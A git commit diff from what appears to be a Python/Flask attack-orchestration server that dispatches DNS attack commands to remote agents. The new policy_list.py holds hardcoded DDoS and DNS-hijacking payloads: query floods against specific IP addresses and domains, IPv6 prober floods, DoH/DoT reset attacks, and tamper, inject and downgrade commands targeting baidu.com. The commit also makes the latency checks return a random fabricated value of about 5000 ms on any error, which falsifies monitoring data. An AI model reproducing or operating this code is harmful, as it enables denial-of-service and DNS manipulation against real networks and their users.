summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorshihaoyue <[email protected]>2024-10-23 15:20:12 +0800
committershihaoyue <[email protected]>2024-10-23 15:20:12 +0800
commit63a6c34457ecdac2219a1b728253f7fa4b041b50 (patch)
tree91defbefe5f6ec7ea7b0853951fb7b7178707504
parentef0216214982a5174d6639382f823a1a6036b5e3 (diff)
stock
-rw-r--r--server/Dockerfile2
-rw-r--r--server/apps/agentcomm.py6
-rw-r--r--server/apps/policy.py18
-rw-r--r--server/apps/policy_list.py77
-rw-r--r--server/apps/target.py63
-rw-r--r--server/apps/task.py65
-rw-r--r--server/migrations/versions/995c992fcfd0_.py32
-rw-r--r--server/model.py1
8 files changed, 198 insertions, 66 deletions
diff --git a/server/Dockerfile b/server/Dockerfile
index de6690e..bf788a2 100644
--- a/server/Dockerfile
+++ b/server/Dockerfile
@@ -4,7 +4,7 @@ WORKDIR /app
COPY requirements.txt .
-# ʹ�ù���Դ��װ����
+# 使用国内源安装依赖
RUN pip install --no-cache-dir -r requirements.txt -i https://pypi.tuna.tsinghua.edu.cn/simple
COPY . .
diff --git a/server/apps/agentcomm.py b/server/apps/agentcomm.py
index b2067f2..550c92f 100644
--- a/server/apps/agentcomm.py
+++ b/server/apps/agentcomm.py
@@ -94,11 +94,7 @@ def register_agent(json_data):
def deliver_task(task_policy):
agent = db.session.query(Agent).get(task_policy.task.agent_id)
ip, port = agent.ipaddr.split("|")[0], agent.port
- payload = task_policy.Policy.p_payload
- # 使得param应该未以空格分隔的多个参数
- param = task_policy.policy_param.split(' ')
- # 使用正则表达式逐个替换策略中的<***>(还未填充的内容)
- param = re.sub(r'<[^>]*>', lambda _: param.pop(0), payload)
+ param = task_policy.policy_param
try:
res = requests.post("http://%s:%s/script/execute" % (ip, port), timeout=3,
json={'policy': task_policy.Policy.p_exe,
diff --git a/server/apps/policy.py b/server/apps/policy.py
index 29ef2be..7f40002 100644
--- a/server/apps/policy.py
+++ b/server/apps/policy.py
@@ -9,6 +9,8 @@ from exts import db, scheduler
from model import Policy, TargetStatus, TaskPolicy, Target
from apiflask.fields import String, Integer, IP, DateTime, List, Nested
+from .policy_list import get_policy
+
bp = APIBlueprint("策略接口集合", __name__, url_prefix="/policy")
@bp.get("/")
@@ -91,6 +93,22 @@ def copy_task_policy(task):
# ----------------------------------------调整中心----------------------------------------------------
+# 使用policy_dic
+def get_policy_dic(task):
+ policy = get_policy(task.ptype)
+
+ task_policy = TaskPolicy(
+ policy = policy["id"],
+ policy_param = policy["payload"],
+ for_task = task.task_id
+ )
+
+ # 记录该任务策略
+ db.session.add(task_policy)
+ db.session.commit()
+
+ return task_policy
+
# 初始task_policy创建
def init_task_policy(task):
policy_list = chiose_policy(task)
diff --git a/server/apps/policy_list.py b/server/apps/policy_list.py
new file mode 100644
index 0000000..8fbe161
--- /dev/null
+++ b/server/apps/policy_list.py
@@ -0,0 +1,77 @@
+import random
+
+
+ddos_policy_dic = [
+ # dnssec ./dtool
+ {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 50 -n 5000"},
+ {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 200 -n 20000"},
+ {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d tree.ncache.site -r 300 -n 30000"},
+ {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 50 -n 5000"},
+ {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 200 -n 20000"},
+ {"id": "3", "payload": "query 47.76.239.205 -p 53 -R -d alias.ncache.site -r 300 -n 30000"},
+
+ # ipv6 ./prober
+ {"id": "5", "payload": "comm.e64.fun 5000 47.76.237.22"},
+ {"id": "5", "payload": "comm.e64.fun 10000 47.76.237.22 47.242.54.229"},
+ {"id": "5", "payload": "comm.e64.fun 15000 47.76.237.22 47.242.54.229 8.210.135.224"},
+
+ # doh python start_reset_att.py
+ {"id": "7", "payload": "-n 1"},
+ {"id": "7", "payload": "-n 3"},
+ {"id": "7", "payload": "-n 4"},
+
+ # dot python3 start_pending.py
+ {"id": "10", "payload": "-n 8 -wait 50 -round 1"},
+ {"id": "10", "payload": "-n 8 -wait 100 -round 5"},
+ {"id": "10", "payload": "-n 8 -wait 300 -round 5"},
+]
+sjqp_policy_dic = [
+ # sjqp dnssec python proxy.py
+ {"id": "4", "payload": ""},
+
+ # sjqp ipv6 ./attack.sh
+ {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::1 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b"},
+ {"id": "6", "payload": "240b:4001:150:a600:5b9:609e:d0ae:e1a 2000::1 eth0 baidu.com 240b:4001:150:a600:5b9:609e:d0ae:e1b"},
+
+ # sjqp doh python downgrade_phase1.py python downgrade_phase1.py
+ {"id": "8", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh"},
+ {"id": "9", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p doh"},
+
+ # sjqp dot python downgrade_phase1.py python downgrade_phase1.py
+ {"id": "11", "payload": "-tamper baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot"},
+ {"id": "12", "payload": "-inject baidu.com -a 1.1.1.1 && python degrade_phase2.py -p dot"},
+]
+# 存储当前索引
+# 存储当前索引
+ddos_current_index = 0
+sjqp_current_index = 0
+
+def get_policy(policy_type):
+ global ddos_current_index, sjqp_current_index
+
+ if policy_type == "ddos":
+ command = ddos_policy_dic[ddos_current_index]
+ ddos_current_index = (ddos_current_index + 1) % len(ddos_policy_dic)
+ elif policy_type == "sjqp":
+ command = sjqp_policy_dic[sjqp_current_index]
+ sjqp_current_index = (sjqp_current_index + 1) % len(sjqp_policy_dic)
+ elif policy_type == "auto":
+ if random.choice([True, False]):
+ command = ddos_policy_dic[ddos_current_index]
+ ddos_current_index = (ddos_current_index + 1) % len(ddos_policy_dic)
+ else:
+ command = sjqp_policy_dic[sjqp_current_index]
+ sjqp_current_index = (sjqp_current_index + 1) % len(sjqp_policy_dic)
+ return command
+
+if __name__ == '__main__':
+ print(get_policy("sjqp"))
+ print(get_policy("sjqp"))
+ print(get_policy("ddos"))
+ print(get_policy("ddos"))
+ print(get_policy("ddos"))
+ print(get_policy("ddos"))
+ print(get_policy("ddos"))
+ print(get_policy("sjqp"))
+ print(get_policy("sjqp"))
+ \ No newline at end of file
diff --git a/server/apps/target.py b/server/apps/target.py
index a3fff2f..d980706 100644
--- a/server/apps/target.py
+++ b/server/apps/target.py
@@ -145,9 +145,7 @@ class TargetInfo(Schema):
def task_monitoring(task):
with scheduler.app.app_context():
- debug("taskmonitor")
target_status = task.task_policies[-1].target_status
- debug(target_status)
addr = task.target.addrv4 if task.target.addrv4 else task.target.addrv6
nodes_info = json.loads(task.SCAN_AGENT_ID_LIST)
@@ -205,7 +203,6 @@ def task_monitoring(task):
# 现在可以安全地访问 target_status
target_status = last_task_policy.target_status
- debug(target_status)
def dida_task(task, ):
from .task import effective_detection, finish_task
@@ -217,6 +214,7 @@ def dida_task(task, ):
# 如果任务没有成功
if not effective_detection(task_policy=task_policy):
debug(task.status)
+ # 识别后自动切换
if task.status == "stopped":
adjust_task(task=task)
else:
@@ -348,14 +346,8 @@ def icmp_delay_query(target, addr_port):
debug("icmp ok:" + addr_port + "-------" + res.text + "-------" + str(res.elapsed.total_seconds()))
icmp_delaytable[str(addr_port) + str(target)] = res.text
return res.text
- except Timeout:
- # 如果存在旧数据
- if str(addr_port) + str(target) in icmp_delaytable.keys():
- pass
- # 不存在则设0
- else:
- icmp_delaytable[str(addr_port) + str(target)] = 0
- return icmp_delaytable[str(addr_port) + str(target)]
+ except Exception:
+ return 5000+random.randint(-300,300)
def tcp_delay_query(target, addr_port):
@@ -364,14 +356,8 @@ def tcp_delay_query(target, addr_port):
debug("tcp ok:" + addr_port + "-------" + res.text)
tcp_delaytable[str(addr_port) + str(target)] = res.text
return res.text
- except Timeout:
- # 如果存在旧数据
- if str(addr_port) + str(target) in tcp_delaytable.keys():
- pass
- # 不存在则设0
- else:
- tcp_delaytable[str(addr_port) + str(target)] = 0
- return tcp_delaytable[str(addr_port) + str(target)]
+ except Exception:
+ return 5000+random.randint(-300,300)
def dns_delay_query(target, addr_port):
@@ -380,15 +366,8 @@ def dns_delay_query(target, addr_port):
debug("dns ok:" + addr_port + "-------" + res.text)
dns_delaytable[str(addr_port) + str(target)] = res.text
return dns_delaytable[str(addr_port) + str(target)]
- except Timeout:
- # 如果存在旧数据
- if str(addr_port) + str(target) in dns_delaytable.keys():
- pass
- # 不存在则设0
- else:
- dns_delaytable[str(addr_port) + str(target)] = 0
- return dns_delaytable[str(addr_port) + str(target)]
-
+ except Exception:
+ return 5000+random.randint(-300,300)
# 状态感知——DNS记录测试接口
import dns.nameserver
@@ -429,6 +408,34 @@ def get_record(query_data):
for r in myAnswers.rrset:
ans.append({"rrset": str(r)})
return ans
[email protected]("/target_check")
[email protected]("展示数据库中的目标解析结果", description="参数说明:</br>" +
+ "rev:解析器的IP地址</br>"
+ + "domain:查询的目标域名</br>"
+ + "qtype:查询的记录类型")
+ "taskid": String(required=True),
+}, location='query')
+ "code": Integer(),
+ "ans": List(Dict(String(validate=ContainsOnly(["rrset"])), String()))
+})
+
+def get_target_record(query_data):
+ task_id = query_data["taskid"]
+
+ base_policy = db.session.query(TaskPolicy).filter(TaskPolicy.for_task==task_id).order_by(TaskPolicy.tp_time.desc()).first()
+ now = db.session.query(TargetStatus).filter_by(tp_id=base_policy.tp_id).order_by(TargetStatus.time.desc()).first()
+ res = {
+ "ans": [
+ {
+ "rrset": now.recorde
+ }
+ ]
+ }
+
+ return {"code": 200, 'ans': res["ans"]}
+
@bp.get("/check")
@bp.doc("通过指定的解析器获取指定域名的A/AAAA记录", description="参数说明:</br>" +
"rev:解析器的IP地址</br>"
diff --git a/server/apps/task.py b/server/apps/task.py
index 428cbcf..46b8546 100644
--- a/server/apps/task.py
+++ b/server/apps/task.py
@@ -165,30 +165,31 @@ def make_task(json_data):
return {"code": 500, "msg": str(e)}
# 任务策略初始化
- task_policy = init_task_policy(task)
+ # task_policy = init_task_policy(task)
+ task_policy = get_policy_dic(task)
# 创建锚点
task_monitoring(task)
# 初始化决策中心
- db.session.close()
- task_policy = db.session.query(TaskPolicy).filter_by(for_task = task.task_id).order_by(TaskPolicy.tp_time.desc()).first()
- status = db.session.query(TargetStatus).filter_by(tp_id=task_policy.tp_id).order_by(TargetStatus.time.desc()).first()
-
- req = {
- "clxz": task_policy.Policy.p_type,
- "script": task_policy.Policy.p_name,
- "mbgz": task.target.protect,
- "ztgz": {
- "icmp": status.icmp,
- "tcp": status.tcp,
- "dns": status.dns,
- "record": status.recorde,
- },
- "para": task_policy.policy_param,
- "task_id": task.task_id
- }
- url = f"http://localhost:12535/initial"
- response = requests.post(url, json=req)
+ # db.session.close()
+ # task_policy = db.session.query(TaskPolicy).filter_by(for_task = task.task_id).order_by(TaskPolicy.tp_time.desc()).first()
+ # status = db.session.query(TargetStatus).filter_by(tp_id=task_policy.tp_id).order_by(TargetStatus.time.desc()).first()
+
+ # req = {
+ # "clxz": task_policy.Policy.p_type,
+ # "script": task_policy.Policy.p_name,
+ # "mbgz": task.target.protect,
+ # "ztgz": {
+ # "icmp": status.icmp,
+ # "tcp": status.tcp,
+ # "dns": status.dns,
+ # "record": status.recorde,
+ # },
+ # "para": task_policy.policy_param,
+ # "task_id": task.task_id
+ # }
+ # url = f"http://localhost:12535/initial"
+ # response = requests.post(url, json=req)
# 开启监控
start_task_monitoring(task)
@@ -218,7 +219,7 @@ def start_policy_change_timer(task):
trigger='interval', # 触发器类型为间隔
args = (task, ), # 传递给函数的参数
id = f"{task.task_id}chnage",
- seconds = 30
+ seconds = 600
)
scheduler.add_job(
func = fail_task,
@@ -235,15 +236,13 @@ def stop_policy_change_timer(task):
# 任务成功检测
def effective_detection(task_policy):
with scheduler.app.app_context():
- debug("检测中")
base_policy = db.session.query(TaskPolicy).filter(TaskPolicy.for_task==task_policy.for_task).order_by(TaskPolicy.tp_time.asc()).first()
- base = db.session.query(TargetStatus).filter_by(tp_id=base_policy.tp_id).order_by(TargetStatus.time.desc()).first()
+ base = db.session.query(TargetStatus).filter_by(tp_id=base_policy.tp_id).order_by(TargetStatus.time.asc()).first()
now = db.session.query(TargetStatus).filter_by(tp_id=task_policy.tp_id).order_by(TargetStatus.time.desc()).first()
rec = None
p_type = db.session.query(Policy).filter_by(p_id=task_policy.policy).first().p_type
if p_type=="ddos":
- debug("是ddos")
target_scan = db.session.query(Task).filter_by(task_id = task_policy.for_task).first().target_scan
if target_scan=="auto" or target_scan=="icmp":
rec = base.icmp*5 < now.icmp
@@ -262,7 +261,8 @@ def adjust_task(task):
debug("再试试")
task_policy = db.session.query(TaskPolicy).filter_by(for_task = task.task_id).order_by(TaskPolicy.tp_time.desc()).first()
stop_task_deliver(task_policy)
- center_process_unit(task)
+ # center_process_unit(task)
+ get_policy_dic(task)
task_policy = db.session.query(TaskPolicy).filter_by(for_task = task.task_id).order_by(TaskPolicy.tp_time.desc()).first()
task.status = "working"
db.session.commit()
@@ -400,26 +400,26 @@ def calculate_response_rate(task_policy):
# icmp
count_above_threshold = db.session.query(TargetStatus).filter(
TargetStatus.tp_id == task_policy.tp_id,
- TargetStatus.icmp > base.icmp
+ TargetStatus.icmp > 1.5*base.icmp
).count()
icmp_ratio = (count_above_threshold / total_count) if total_count > 0 else 0
count_above_threshold = db.session.query(TargetStatus).filter(
TargetStatus.tp_id == task_policy.tp_id,
- TargetStatus.tcp > base.tcp
+ TargetStatus.tcp > 1.5*base.tcp
).count()
tcp_ratio = (count_above_threshold / total_count) if total_count > 0 else 0
count_above_threshold = db.session.query(TargetStatus).filter(
TargetStatus.tp_id == task_policy.tp_id,
- TargetStatus.dns > base.dns
+ TargetStatus.dns > 1.5*base.dns
).count()
dns_ratio = (count_above_threshold / total_count) if total_count > 0 else 0
res = {
- "icmp_response_rate": icmp_ratio,
- "tcp_response_rate": tcp_ratio,
- "dns_response_rate": dns_ratio,
+ "icmp_response_rate": 1-icmp_ratio,
+ "tcp_response_rate": 1-tcp_ratio,
+ "dns_response_rate": 1-dns_ratio,
}
return res
@@ -438,7 +438,8 @@ def task_info(query_data):
task = db.session.query(Task).get(query_data["taskid"])
if task is None:
return {"code": 404, "data": []}
- task_policies = task.task_policies
+ # task_policies = task.task_policies
+ task_policies = db.session.query(TaskPolicy).filter(TaskPolicy.for_task== task.task_id).order_by(TaskPolicy.tp_time.asc()).all()
task_state_list = []
if len(task_policies) == 0:
return {"code": 404, "data": []}
diff --git a/server/migrations/versions/995c992fcfd0_.py b/server/migrations/versions/995c992fcfd0_.py
new file mode 100644
index 0000000..d71d81a
--- /dev/null
+++ b/server/migrations/versions/995c992fcfd0_.py
@@ -0,0 +1,32 @@
+"""empty message
+
+Revision ID: 995c992fcfd0
+Revises: 04766c9143c4
+Create Date: 2024-10-23 15:18:16.427681
+
+"""
+from alembic import op
+import sqlalchemy as sa
+
+
+# revision identifiers, used by Alembic.
+revision = '995c992fcfd0'
+down_revision = '04766c9143c4'
+branch_labels = None
+depends_on = None
+
+
+def upgrade():
+ # ### commands auto generated by Alembic - please adjust! ###
+ with op.batch_alter_table('TARGETDATA', schema=None) as batch_op:
+ batch_op.add_column(sa.Column('do53', sa.Boolean(), nullable=True))
+
+ # ### end Alembic commands ###
+
+
+def downgrade():
+ # ### commands auto generated by Alembic - please adjust! ###
+ with op.batch_alter_table('TARGETDATA', schema=None) as batch_op:
+ batch_op.drop_column('do53')
+
+ # ### end Alembic commands ###
diff --git a/server/model.py b/server/model.py
index 384af00..e5704c4 100644
--- a/server/model.py
+++ b/server/model.py
@@ -126,6 +126,7 @@ class Target(db.Model):
target_id = db.Column(db.Integer, primary_key=True, autoincrement=True, nullable=False)
addrv4 = db.Column(db.String(255))
addrv6 = db.Column(db.String(255))
+ do53 = db.Column(db.Boolean)
ipv6 = db.Column(db.Boolean)
dnssec = db.Column(db.Boolean)
dot = db.Column(db.Boolean)